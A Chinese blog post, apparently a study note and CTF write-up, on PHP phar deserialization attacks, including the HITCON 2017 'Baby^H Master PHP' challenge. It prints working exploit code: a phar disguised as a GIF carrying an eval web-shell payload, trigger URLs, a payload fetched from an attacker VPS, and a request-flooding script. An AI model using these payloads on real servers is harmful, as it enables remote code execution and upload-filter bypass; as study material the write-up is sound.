PHP反序列化学习之phar攻击
概述
这周准备抓一抓PHP序列化相关的知识,所以有了下面这些东西.
Phar定义
简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// php://
等类似,也是一种流包装器。
phar结构由 4 部分组成
stub phar 文件标识,格式为 xxx;
manifest 压缩文件的属性等信息,以序列化存储;
contents 压缩文件的内容;
signature 签名,放在文件末尾;
这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>
结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制;二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://
伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多,包括下面这些:
CTF_1
Phar://
协议流只要出现phar标识头就会解析,所以我们可以直接改成gif格式文件
根据上述poc创建出poc1.gif上传后,通过file_exists
触发文件反序列化
<?php
class Myclass{
var $output='@eval($_GET["a"]);';
}
$o=new Myclass();
$filename='poc1.phar';//1.后缀必须为phar
file_exists($filename)?@unlink($filename):null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");//2.phar 文件标识
$phar->setMetadata($o);//3.压缩文件的属性等信息
$phar->addFromString("foo.txt","bar");//4.压缩文件的内容
$phar->stopBuffering();//5.签名
?>
127.0.0.1/phar/file.php?filename=phar://poc1.gif&a=phpinfo();
CTF_2
HITCON2017 Baby^H Master PHP 2017
代码第40行进行反序列化,回溯到第9行是对user
类进行反序列化。
通读代码可知需要构造反序列化Admin类触发__destruct
,执行create_function
创建匿名函数,通过$_GET[‘lucky’]()
执行匿名函数得到Flag.
$data
通过cookie
传入,可控。但是在check_session()
方法对$data
进行hash验证。很显然我们得不到secret
。
看来伪照$data
无果,看到upload()
方法有file_get_contents
方法,由文章开头可知该方法可以触发phar反序列化。
我们可以通过$_GET[‘url’]
借助vps
上传avatar.gif
,Poc构造如下
<?php
class User {
public $avatar;
function __construct($path) {
$this->avatar = '随便填';
}
}
class Admin extends User {
}
$o=new Admin();
$filename='poc1.phar';//1.后缀必须为phar
file_exists($filename)?@unlink($filename):null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");//2.phar 文件标识
$phar->setMetadata($o);//3.压缩文件的属性等信息
$phar->addFromString("foo.txt","bar");//4.压缩文件的内容
$phar->stopBuffering();//5.签名
?>
接下来就是执行怎样通过$_GET[‘lucky’]
执行匿名函数问题。
源码分析匿名函数具体见我一篇文章:create_function任意代码执行
那么怎样才能得到匿名函数名,可以参考: Apache的三种MPM模式比较:prefork,worker,event
。当用户请求过大时,超过 apache 默认设定的阀值时,就会启动新的线程来处理请求,此时在新的线程中,匿名函数的名字又会从1开始递增,这样我们就容易猜测匿名函数的名字了。
将生成的 poc1.phar 放在自己的 VPS 上并重命名成 avatar.gif,然后将文件上传到题目服务器上:
http://题目IP/index.php?m=upload&url=http://VPS_IP/
接着,我们需要通过大量请求,使 apache 重新开启一个新的线程,然后访问如下 url 即可完成反序列化并获得 flag :
http://题目IP/index.php?m=upload&url=phar:///var/www/data/$SANDBOX/&lucky=%00lambda_
多线程请求
# coding: UTF-8
# Author: orange@chroot.org
#
import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass
def run(i):
while 1:
HOST = '127.0.0.1'
PORT = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET / HTTP/1.1\nHost: 54.238.212.199\nConnection: Keep-Alive\n\n')
# s.close()
print 'ok'
time.sleep(0.5)
i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)
参考链接
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!